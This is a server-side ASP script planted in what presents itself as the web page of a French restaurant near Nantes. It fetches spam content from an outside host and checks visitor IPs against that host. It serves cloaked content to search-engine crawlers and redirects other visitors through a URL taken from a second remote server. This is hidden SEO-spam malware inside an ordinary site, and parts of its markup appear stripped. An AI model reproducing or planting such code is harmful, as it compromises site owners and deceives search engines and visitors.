<% if request("do")<>"" then iid=request("iid") Urlyy="http://jg.c-l-onlinestore.com/ig_zc_22/NY_Content_img.aspx?s_id=134&rnd="&yyu&"&p_id="&request("p_id") Htmlyy = getHTTPPage(Urlyy) mystr=split(Htmlyy,"
") response.Redirect RegImg(mystr(iid)) end if %> <% function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"UTF-8") set http=nothing if err.number<>0 then err.Clear end function Function RegImg(TheStr) Dim RegEx Set RegEx = New RegExp RegEx.IgnoreCase =True RegEx.Global = True RegEx.Pattern = "" If Regex.test(TheStr) Then Dim Matches Set Matches = RegEx.Execute(TheStr) For Each Match in Matches RetStr = RetStr & Match.SubMatches(0) Next RegImg = RetStr End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("images")<>"" then URL="http://jg.c-l-onlinestore.com/ig_zc_22/NY_Tou_img.aspx?s_id=134&rnd="&yyu&"&p_id="&request("images") else if request("pageIndex")<>"" then URL="http://jg.c-l-onlinestore.com/ig_zc_22/LB_Tou_img.aspx?s_id=134&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URL="http://jg.c-l-onlinestore.com/ig_zc_22/LB_Tou_img.aspx?rnd="&yyu&"&s_id=134" end if end if Html = getHTTPPage(Url) if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://jg.c-l-onlinestore.com/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then set re = new RegExp re.IgnoreCase =True re.Global = True re.Pattern = "]*?>([\s\S]*?)" Set matchs = re.Execute(html) for each match in matchs sc= match.SubMatches(0) next set matchs = nothing Html=replace(Html,"","") Response.write Html else if request("images")<>"" then ccc=request("images") ccc=replace(ccc," ","-") ccc=replace(ccc,"--","-") ddd=getHTTPPage("http://5.39.216.250/nk-fr-1.txt") eee=ddd&ccc&".html" eee=replace(eee,"--","-") Response.write "" end if Response.end end if %>

auberge de la Gaillotière

<% Dim Urlyy,Htmlyy yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("pageIndex")<>"" then URLyy="http://jg.c-l-onlinestore.com/ig_zc_22/LB_NR_img.aspx?s_id=134&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URLyy="http://jg.c-l-onlinestore.com/ig_zc_22/LB_NR_img.aspx?s_id=134&rnd="&yyu&"" if request("images")<>"" then Urlyy="http://jg.c-l-onlinestore.com/ig_zc_22/NY_Content_img.aspx?s_id=134&rnd="&yyu&"&p_id="&request("images") end if end if Htmlyy = getHTTPPage(Urlyy) Htmlyy=replace(Htmlyy,"LB_NR_img.aspx","/helium.asp") Htmlyy=replace(Htmlyy,"s_id=134&rnd="&yyu&"&","") Htmlyy=replace(Htmlyy,"?p_id=","/helium.asp?images=") mystr=split(Htmlyy,"
") for i=0 to ubound(mystr) sq=RegImg(mystr(i)) response.write replace(mystr(i),sq,"/helium.asp?do=1&s_id=134&iid="&i+1&"&p_id="&request("images"))&"
" next %>

Auberge la Gaillotière - La Gaillotière, 44690 Chateau-Thébaud (44) - Tél : 02 28 21 31 16 - restaurant au milieu des vignes - Nantes - Accueil et repas d'entreprises